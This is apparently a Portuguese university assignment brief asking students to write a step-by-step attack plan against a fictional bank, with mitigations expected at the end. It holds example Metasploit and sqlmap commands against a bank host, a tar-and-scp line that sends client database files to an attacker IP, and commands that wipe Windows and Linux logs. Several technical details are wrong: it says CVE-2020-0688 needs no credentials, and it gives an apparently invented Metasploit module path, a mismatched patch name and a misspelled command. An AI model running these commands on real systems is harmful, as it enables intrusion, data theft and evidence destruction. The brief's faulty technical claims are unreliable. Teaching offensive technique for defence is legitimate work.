## 1. Objetivos da Atividade

1. **Aplicar conhecimentos teóricos** de segurança (reconhecimento, análise de vulnerabilidades, exploração e pós-exploração).
2. **Identificar e listar CVEs relevantes** para o contexto bancário.
3. **Selecionar ferramentas adequadas** para cada fase do ataque (ex.: scan, exploração, exfiltração).
4. **Definir sistemas operacionais e arquiteturas** comumente utilizados em ambientes bancários.
5. **Estruturar um documento técnico completo**, contendo justificativas, referências a CVEs, árvores de decisão e fluxo de atividades.
6. **Apresentar recomendações de mitigação** (mesmo que o foco seja o ataque, oriente o aluno a indicar contramedidas ao final).

## 2. Entregáveis Esperados

- Um documento (PDF ou DOCX) que contenha:
    - **Introdução e Objetivo** do plano de ataque.
    - **Descrição do Alvo** (perfil hipotético do sistema bancário).
    - **Levantamento de Informações (Reconhecimento)**:
        - Fontes de dados abertos (OSINT).
        - Técnicas de fingerprint.
    - **Identificação de Vulnerabilidades (CVE)**:
        - Lista de pelo menos 3 CVEs críticas aplicáveis ao cenário.
        - Breve descrição de cada CVE (ano, pontuação CVSS, vetor de ataque).
    - **Seleção de Ferramentas**:
        - Ferramentas de enumeração e scanner.
        - Ferramentas de exploração e pós-exploração.
    - **Definição de Sistemas Operacionais e Plataformas**:
        - Sistemas operacionais de servidores (por exemplo, Windows Server ou distribuições Linux).
        - Banco de dados (ex.: Microsoft SQL Server, PostgreSQL, Oracle).
    - **Etapas do Plano de Ataque**:
        - **Reconhecimento ativo e passivo**.
        - **Scan de portas e serviços**.
        - **Enumeração de versões e fingerprint**.
        - **Exploração de vulnerabilidades (por CVE)**.
        - **Escalada de privilégios**.
        - **Exfiltração de dados (download)**.
        - **Limpando rastros / cobertura de traços**.
    - **Fluxo de Execução e Cronograma**:
        - Diagrama ou tabela com ordem cronológica de ações.

    - **Justificativa Técnica** para cada escolha (ferramenta, CVE, técnica).
    - **Recomendações de Mitigação**:
        - Ao final, apresente medidas de segurança para proteger contra o ataque descrito.
- **Apresentação Oral Resumida (opcional):** slides com os pontos-chave (caso solicitado pelo professor).

## 3. Orientações para Desenvolvimento

### 3.1 Introdução e Objetivo

- Explique brevemente o contexto bancário fictício (ex.: “Sistema X de Gerenciamento de Contas de um banco digital”).
- Defina qual é o **objetivo** do ataque: “Obter credenciais privilegiadas e baixar bases de clientes” ou “Exfiltrar transferências financeiras em massa”.

### 3.2 Descrição do Alvo

- **Arquitetura de Rede**: descreva se há DMZ, servidores internos, firewalls, load balancers.
- **Componentes Principais**:
    - **Servidor de Aplicação Web** (ex.: IIS em Windows Server 2019 ou Apache em Ubuntu 20.04).
    - **Servidor de Banco de Dados** (ex.: Microsoft SQL Server 2017 ou PostgreSQL 13 em Debian).
    - **Serviços Auxiliares**: VPN corporativa, servidor de autenticação (LDAP/Active Directory).
- **Suposições de Hardening**: considere configurações típicas de um ambiente bancário (patches aplicados semestralmente, uso de WAF, IDS/IPS).

### 3.3 Levantamento de Informações (Reconhecimento)

- **Reconhecimento Passivo**:
    - Consulta a registros WHOIS do domínio bancario fictício.
    - Pesquisa em fontes OSINT (GitHub, LinkedIn de funcionários, paste sites).
- **Reconhecimento Ativo**:
    - Utilizar ping, traceroute e whois.
    - Ferramenta: **Nmap** para identificar hosts ativos e serviços abertos (ex.: nmap -sS -sV -T4 alvo.banco.com.br).
- Indique **justificativas** para cada técnica (ex.: “o scan SYN (-sS) gera menos ruído que scan TCP completo”).

### 3.4 Identificação de Vulnerabilidades (CVE)

- Pesquise e liste **pelo menos 3 CVEs** associadas aos serviços identificados:
  - **CVE-2020-0688** (Microsoft Exchange – vulnerabilidade de execução de código remoto).
  - **CVE-2019-0708** (RDP em Windows – BlueKeep).
  - **CVE-2017-5638** (Apache Struts – RCE).
- Para cada CVE:
  - Informe **ano**, **pontuação CVSS (v3)** e **vetor de ataque** (ex.: "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H").
  - Descreva brevemente **como se explora** (ex.: "é possível enviar um payload malicioso no cabeçalho HTTP").
- **Justifique** a escolha de cada CVE com base nos serviços/demonstrações identificados na fase de varredura (por exemplo, "a versão do IIS 10.0 identificada é vulnerável a CVE-2020-0688"). Seguranca Cibernetica

### 3.5 Seleção de Ferramentas

1. **Ferramentas de Reconhecimento e Scanning:**
   a. **Nmap** (-sS, -sV, -O) para mapeamento de portas/serviços e fingerprint de SO.
   b. **Masscan** (para grandes faixas de IP, se for aplicável).
2. **Ferramentas de Enumeração Específica:**
   a. **Enum4linux** (para enumeração de compartilhamentos do Windows e usuários do Active Directory).
   b. **SMBclient** (teste de compartilhamentos SMB).
3. **Ferramentas de Exploração de CVE:**
   a. **Metasploit Framework** (módulos específicos, ex.: exploit/windows/https/exchange_cve_2020_0688).
   b. **Searchsploit** (para buscar exploits locais baseados em CVE).
   c. **sqlmap** (caso haja página de login vulnerável a SQL Injection).
4. **Ferramentas de Pós-Exploração e Exfiltração:**
   a. **Mimikatz** (para extração de credenciais em Windows).
   b. **Meterpreter** (para mover-se lateralmente e coletar dados).
   c. **Scp/Sftp/Tftp** (para transferir arquivos do servidor comprometido para um servidor de controle).
5. **Ferramentas Auxiliares:**
   a. **Wireshark/TShark** (análise de tráfego).
   b. **BloodHound** (mapear relações no Active Directory).

- Em cada caso, justifique a **escolha e versão** da ferramenta: "usar Metasploit 6.0.27 por suportar módulo para CVE-2020-0688".

### 3.6 Definição de Sistemas Operacionais e Plataformas

- **Servidores Windows**:

    - Por exemplo, **Windows Server 2016/2019** com IIS 10 e Microsoft SQL Server 2017.
    - OS fingerprinted via Nmap (-O).
- **Servidores Linux**:
    - Por exemplo, **Ubuntu 18.04 LTS** rodando Apache 2.4 ou **CentOS 7** com Nginx.
    - Identificar versão exata do kernel (uname -a), versão do Apache/Nginx e banco de dados (MySQL/MariaDB).
- **Banco de Dados**:
    - **Microsoft SQL Server** (porta TCP 1433) ou **PostgreSQL 12** (porta TCP 5432).
- **Firewalls e IDS/IPS**:
    - Presume-se uso de **pfSense** como firewall ou **Snort/Suricata** para detecção de intrusão.
    - Justifique como essas tecnologias podem influenciar a escolha das técnicas de ataque (e.g., evasão de IDS).

### 3.7 Etapas do Plano de Ataque

1. **Fase 1 – Reconhecimento Passivo e Ativo:**
    a. Descrever técnicas passivas (OSINT) e ativas (Nmap, enum4linux).
    b. Indicar comandos genéricos e flags utilizadas.
2. **Fase 2 – Identificação de Vulnerabilidades:**
    a. Com base nos serviços descobertos, correlacione com CVEs selecionadas.
    b. Exemplo: “Encontrou-se Microsoft Exchange 2013 não patchado → CVE-2020-0688”.
3. **Fase 3 – Exploração de Vulnerabilidades:**
    a. Demonstre a sequência de comandos/metasploit para obter acesso.
    b. Exemplo de uso do Metasploit:

```
arduino
msfconsole
use exploit/windows/https/exchange_cve_2020_0688
set RHOSTS alvo.banco.com.br
set RPORT 443
run
```

    c. Caso haja SQLi, demonstre sintaxe do **sqlmap**:

```
lua
sqlmap -u "https://alvo.banco.com.br/login.php?user=admin&pass=123" --dbs
```

4. **Fase 4 – Escalada de Privilégios:**

    a. Se o acesso inicial for em nível low-privileged, descreva como usar **Mimikatz** ou **LinPEAS/WinPEAS** para descobrir credenciais com privilégios mais altos.
    b. Exemplo: “extrair hashes NTLM e saltar para o Domain Admin”.
5. **Fase 5 – Movimento Lateral (Lateral Movement):**
    a. Caso haja rede interna segmentada, descreva uso de **PSExec** ou **SSH** para conexão a outros hosts.
6. **Fase 6 – Coleta e Exfiltração de Dados:**
    a. Identificar onde estão as bases de clientes (e.g., C:\Banco\Dados\clientes.mdf ou /var/lib/postgresql/data/clientes).
    b. Uso de scripts ou comandos para compactar e transferir (ex.: tar czf dados.tar.gz /var/lib/postgresql/data/* && scp dados.tar.gz atacante@IP:~/).
7. **Fase 7 – Limpeza de Rastros (Cover Tracks):**
    a. Indicar procedimentos para apagar logs do Windows Event Viewer ou logs do Linux (/var/log/auth.log).
    b. Exemplo: wevutil cl Security no Windows ou shred -u /var/log/auth.log no Linux.

Em cada etapa, coloque **frases de orientação** como “Descreva detalhadamente o comando utilizado e justifique por que escolheu essa técnica neste ponto do fluxo”.

**4. Estrutura Recomendada do Documento Final**

1. **Capa / Folha de Rosto**
    a. Título da atividade, nome do aluno, disciplina, data.
2. **Sumário**
3. **1. Introdução**
    a. Contextualização do alvo e escopo do plano.
4. **2. Descrição do Ambiente-Alvo**
    a. Topologia de rede (diagrama), sistemas operacionais, serviços, firewalls/IDS.
5. **3. Levantamento de Informações**
    a. Fontes, comandos, resultados esperados (exemplo de saída do Nmap).
6. **4. Análise de Vulnerabilidades (CVE)**
    a. Lista de CVEs, pontuações CVSS e vetores de ataque; tabela ou quadros resumidos.
7. **5. Seleção de Ferramentas**
    a. Lista de ferramentas, versão, finalidade e comandos de exemplo.
8. **6. Plano de Ação (Passo a Passo do Ataque)**
    a. Fases 1 a 7 (como detalhado em “Etapas do Plano de Ataque”), com comandos, fluxogramas ou tabelas.
9. **7. Exfiltração e Cobertura de Rastros**
    a. Justificativas para o método de exfiltração; técnicas de limpeza de logs.
10. **8. Recomendações de Mitigação**

a. Contramedidas técnicas e processuais para cada vulnerabilidade explorada.

**11.9. Conclusão**

a. Breve reflexão sobre o impacto do ataque e aprendizado.

**12.10. Referências**

a. Citar o PDF de base (por exemplo, “Silva, J. (2024). *Segurança Cibernética*. Imperatriz: FACIMP.”) e demais fontes (documentação oficial de ferramentas, sites de CVE, etc.).

## 5. Critérios de Avaliação

1. **Cobertura Completa das Etapas** (reconhecimento, CVE, exploração, exfiltração e limpeza de rastros) – Peso: 30%
2. **Escolha e Justificação de CVEs e Ferramentas** – Peso: 25%
3. **Clareza e Estruturação do Documento** (organização, tabelas, diagramas) – Peso: 20%
4. **Profundidade Técnica nos Comandos e Exemplos** (incluir outputs fictícios ou screenshots simulados) – Peso: 15%
5. **Recomendações de Mitigação** (coerência e aplicabilidade) – Peso: 10%

## 6. Dicas para um Bom Desenvolvimento

- **Anotar versões exatas** de sistemas operacionais e softwares para facilitar a pesquisa de CVEs específicas.
- **Fundamentar cada escolha**: por que usar Metasploit em vez de Exploit-DB? Qual impacto de cada CVE no cenário bancário?
- **Apresentar evidências simuladas** (prints de tela, logs fictícios, outputs esperados) para demonstrar domínio das técnicas.
- **Organizar o documento com cabeçalhos claros** e numerados, criando um fluxo fácil de seguir.
- **Usar diagramas** (mesmo simples em ASCII ou imagens desenhadas) para ilustrar a topologia de rede e os vetores de ataque.
- **Focar na parte documental**: como se fosse um relatório para um comitê de segurança apresentando o passo a passo.
- **Citar fontes confiáveis**: sites oficiais de CVE (mitre.org), manuais de ferramentas, e o próprio material base.
- **Não confundir** técnicas de ataque com técnicas de defesa: o escopo aqui é mostrar como se executaria se o sistema estivesse vulnerável.

## Exemplo de Trecho (Ilustração)

### 3. Análise de Vulnerabilidades (CVE)

Após a fase de mapeamento, identificou-se que o servidor de aplicação utiliza **Microsoft Exchange Server 2013 CU23**.

- **CVE-2020-0688** (Escore CVSS: 9.1 – RCE via autenticação mal configurada em PowerShell remoto)
    - Vetor de ataque: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    - Exploração:

```
bash
msfconsole
use exploit/windows/https/exchange_cve_2020_0688
set RHOSTS 10.0.0.15
set RPORT 443
run
```

    - Justificativa: Este CVE permite execução remota de código sem necessidade de credenciais válidas, alavancando uma falha no serviço PowerShell interno do Exchange.
- **CVE-2019-0708 (BlueKeep)**… etc.

As contramedidas incluem aplicação do patch MS20-064 e bloqueio de portas RDP no firewall externo.

**7. Etapa de Exfiltração de Dados**

Após obtenção de **shell privilegiado** no servidor de banco de dados (Linux – Ubuntu 18.04), os arquivos de clientes residem em /var/lib/postgresql/data/clientes/.

1. Compactação:

```
bash
tar czf clientes_data.tar.gz /var/lib/postgresql/data/clientes
```

2. Transferência para servidor de atacante (IP 192.168.100.50), usando SCP:

```
bash
scp clientes_data.tar.gz atacante@192.168.100.50:~/exfiltration/
```

3. Limpeza de rastros do log de conexões do Postgres:

```
bash
echo "" > /var/log/postgresql/postgresql-10-main.log
```